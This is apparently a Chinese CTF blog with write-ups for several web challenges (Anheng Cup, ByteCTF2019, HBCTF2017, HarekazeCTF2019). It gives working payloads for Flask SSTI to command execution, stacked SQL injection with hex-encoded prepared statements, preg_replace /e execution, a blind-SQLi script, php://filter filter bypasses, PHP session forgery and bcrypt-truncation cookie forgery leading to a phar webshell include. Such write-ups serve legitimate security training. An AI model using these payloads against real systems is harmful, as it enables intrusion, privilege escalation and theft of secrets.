settings模块里就有我们需要的SECRET_KEY。故我们可以通过简单的模块包含关系利用格式化字符串漏洞来读取SECRET_KEY,故最终payload如下:[{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}]


安恒杯战疫赛web1题解

就看了这一道题,简单记录下

题解

提示了是Flask,猜测404页面存在SSTI,提交/1发现SSTI确实存在。简单fuzz后发现关键字过滤不多,就一个config,但是下划线_以及点号.都被过滤掉了,直接导致了__class__以及.read()这样的语句行不通。点号可以通过[“read”]()来代替.read(),而下划线的过滤参考这篇文章https://www.jianshu.com/p/a736e39c3510,用\x5f代替下划线(该写法不能用在python语句里)。所以可以用["\x5f\x5fclass\x5f\x5f"]代替.\__class__。

用语句

1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[30]}}

来找到warnings.WarningMessage类,再通过__builtins__找到__import__来导入os模块。

最终payload:

1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[30]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os')["popen"]('cat%20/webapp/start*')['read']()}}

在start.sh里找到flag


ByteCTF2019与HBCTF2017两道web题解

ByteCTF2019 Babyblog

www.zip下载源码,在edit.php处发现二次注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}

在config.php里可以看到执行sql语句用的是PDO

1
$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'CTF2019', '*************') or die("SQL Server Down T.T");

对于PDO模式,控制多句执行的PDO::MYSQL_ATTR_MULTI_STATEMENTS设置项是默认开启的,所以可以利用这个二次注入进行堆叠注入来把我们的账户改为vip账户。由于SafeFilter函数把update过滤掉了,这里可以使用预编译进行绕过。PDO模式下控制预编译的PDO::ATTR_EMULATE_PREPARES设置项也是默认开启的,所以这里先把title设置为';SeT@x=0x757064617465207573657273207365742069737669703D3120776865726520757365726E616D653D2731323327;prepare a from @x;execute a;#,通过把字符串转换为16进制的方式来绕过过滤。再进行一次编辑就可以触发堆叠注入使得账号变为vip并可以访问replace.php。在replace.php里看到

1
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

由于php版本较低,这里可以使用\x00截断以及e修饰符来执行命令。即find=.*/e\x00replace=phpinfo();。之后通过error_log进行disable_function绕过,利用该项目的脚本与.so文件:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD。只需要简单修改项目里php文件的内容里的mail函数改为error_log即可,最后用perl来获取flag。

HBCTF2017 大美西安

下载文件处存在sql注入,可以用双写绕过关键字过滤,从而读取任意文件

1

index.php里可以看到文件包含处存在过滤:

1
2
3
4
5
6
7
8
<?php
$file = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}

可以想到上传一个zip文件利用phar://协议来包含shell。在upload.php里有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if($fileTypeCheck){

$fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
$fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
$userid = $_SESSION['userid'];
$sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
$res = $conn ->query($sql);
if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";

}else{
echo "<script>alert('file upload error')</script>";
}

}else{

echo "<script>alert('file type error');</script>";
}

文件名会被放入数据库中,但文件会被重命名为32位的随机字符串。可以通过以下payload来盲注出文件名 8 anandd location lilikeke 0x2e2f557031306144732f{}25,8是上传的zip文件的序号。贴下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from time import sleep

r = requests.Session()
url = "http://4fda2094-0c96-407e-a3af-a94cb9026ffe.node3.buuoj.cn/downfile.php"
location = "./Up10aDs/hgpf1g3ymgxe44antdi"
payload = "8 anandd location lilikeke 0x2e2f557031306144732f{}25"
hex_str = ""
data = {
"image" : "",
"image_download":"%E6%94%B6%E8%97%8F"
}
cookies = {
"PHPSESSID" : "47tua03gs083tv8roe3ombspq2"
}
chars = "0123456789abcdefghijklmnopqrstuvwxyz."
for i in range(0xff):
for j in chars:
sleep(0.5)
h = hex(ord(j))[2:]
data["image"] = payload.format(hex_str + h)
res = r.post(url,data=data, cookies=cookies)
#print(data)
if "picture can't be" in res.text:
continue
else:
hex_str += h
location += j
print("[+]" + location)
break

HarekazeCTF2019的几道web记录

题目环境:https://github.com/TeamHarekaze/HarekazeCTF2019-challenges

Encode & Encode

题目给了源代码,关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

is_valid函数会检测php,file,flag等等关键词。这里先对POST的json数据进行检测,再对读取的文件内容进行检测。由于json,可以使用形如’\u00xx’这样的unicode编码对ascii字符进行转义,所以对第一个检测我们可以使用unicode进行绕过;第二重检测会检测文件的内容,但是由于我们可以通过unicode编码绕过了对于php://filter的限制,所以我们可以读取php://filter流base64编码后的文件来绕过第二重检测。

payload如下:

1
{"page":"\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}

Easy Notes

比赛时这道题的源代码作为附件提供。在flag.php里可以看到:

1
2
3
<?php
if (is_admin()) {
echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";}

想获得flag必须是管理员。而网站为普通用户提供了一个无需注册的登录功能。登录之后可以添加笔记或者把笔记压缩并导出。

在用于导出压缩包的export.php处可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}

header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');

从以上代码可知,文件名由用户名+’-‘+随机字符串+后缀组成。在之后的压缩过程中并未对type进行严格校验,只要type不为tar就会被视为zip。如果我们的type是.,那么文件名的末尾的两个点会被过滤掉。可以看到这个生成的文件在用户下载后不会被删除,并且用户在下载时可以获得文件名。单纯知道这些并不能帮助我们获得flag,但是注意到init.php里有这样的代码:

1
2
session_save_path(TEMP_DIR);
session_start();

可以看到session的存储路径与压缩文件相同。对于PHP而言,session保存在文件中,而文件名的格式是sess_xxxxx,xxxxx就是用户的PHPSESSID,且只能包含字母数字和’-‘。session中的数据以序列化的形式保存,默认情况下序列化处理器是php,即对应php.ini中的session.serialize_handler = php。我们可以把用户名取为sess_,type为’.’,就可以在session目录下生成一个与session文件文件名格式相同的文件。由于文件是zip格式,只有文件名能出现在zip的文件内容里,所以我们的note的title的内容为|N;admin|b:1;,在这段内容前的字符会被解析为上一个元素的key,使得admin|b:1;能成功解析。由于下载功能可以看到文件名,所以我们只要修改PHPSESSID为sess_之后的字符串就会被判定为admin,从而获得flag。

Avatar Uploader 2

在index.php里发现一个潜在的文件包含点

1
<?php include($session->get('theme', 'light') . '.css'); ?>

强制加在后边的.css后缀可以利用zip://或phar://进行绕过。而key函数定义如下

1
2
3
4
5
6
public function get($key, $defaultValue = null){
if (!$this->isset($key)) {
return $defaultValue;
}
return $this->data[$key];
}

所以我们需要寻找一个控制data[$key]的方法。在session.php里可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __construct($cookieName = 'session', $secret = 'secret') {
$this->data = [];
$this->secret = $secret;
if (array_key_exists($cookieName, $_COOKIE)) {
try {
list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
$data = urlsafe_base64_decode($data);
$signature = urlsafe_base64_decode($signature);

if ($this->verify($data, $signature)) {
$this->data = json_decode($data, true);
}
} catch (Exception $e) {}
}
$this->cookieName = $cookieName;
}

可以看到用户的cookie由base64编码过的json形式的data与signature组成,并且只有当签名通过了验证时才会用这个data来初始化。签名的验证与生成代码如下

1
2
3
4
5
6
private function verify($string, $signature) {
return password_verify($this->secret . $string, $signature);
}
private function sign($string) {
return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}

secret无从得知,但是PHP手册中对于password_hash有以下描述

使用PASSWORD_BCRYPT 做算法,将使 password 参数最长为72个字符,超过会被截断。

如果生成签名时的$this->secret . $string的长度超过了72个字符,那么在这个之后填任何数据都不会改变生成的签名,所以我们只要获得一组长度超过了72的数据和其对应的签名就可以利用index.php里的文件包含。在upload.php里有:

1
2
$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');

在上传成功后$session会加入info以及这段固定的内容。此时的data的长度已经超过了72(并且前边还有secret)。保持cookie中的签名部分不变,在json格式data后边插入’theme’:’phar://uploads/xxx.jpg/2’,其中xxx.jpg是一个压缩有2.css的zip文件,而2.css的内容是我们的webshell。这样就可以成功执行文件包含。

至于上传部分对于文件内容的检测这里就不再赘述,都是国内比赛考过好几次的东西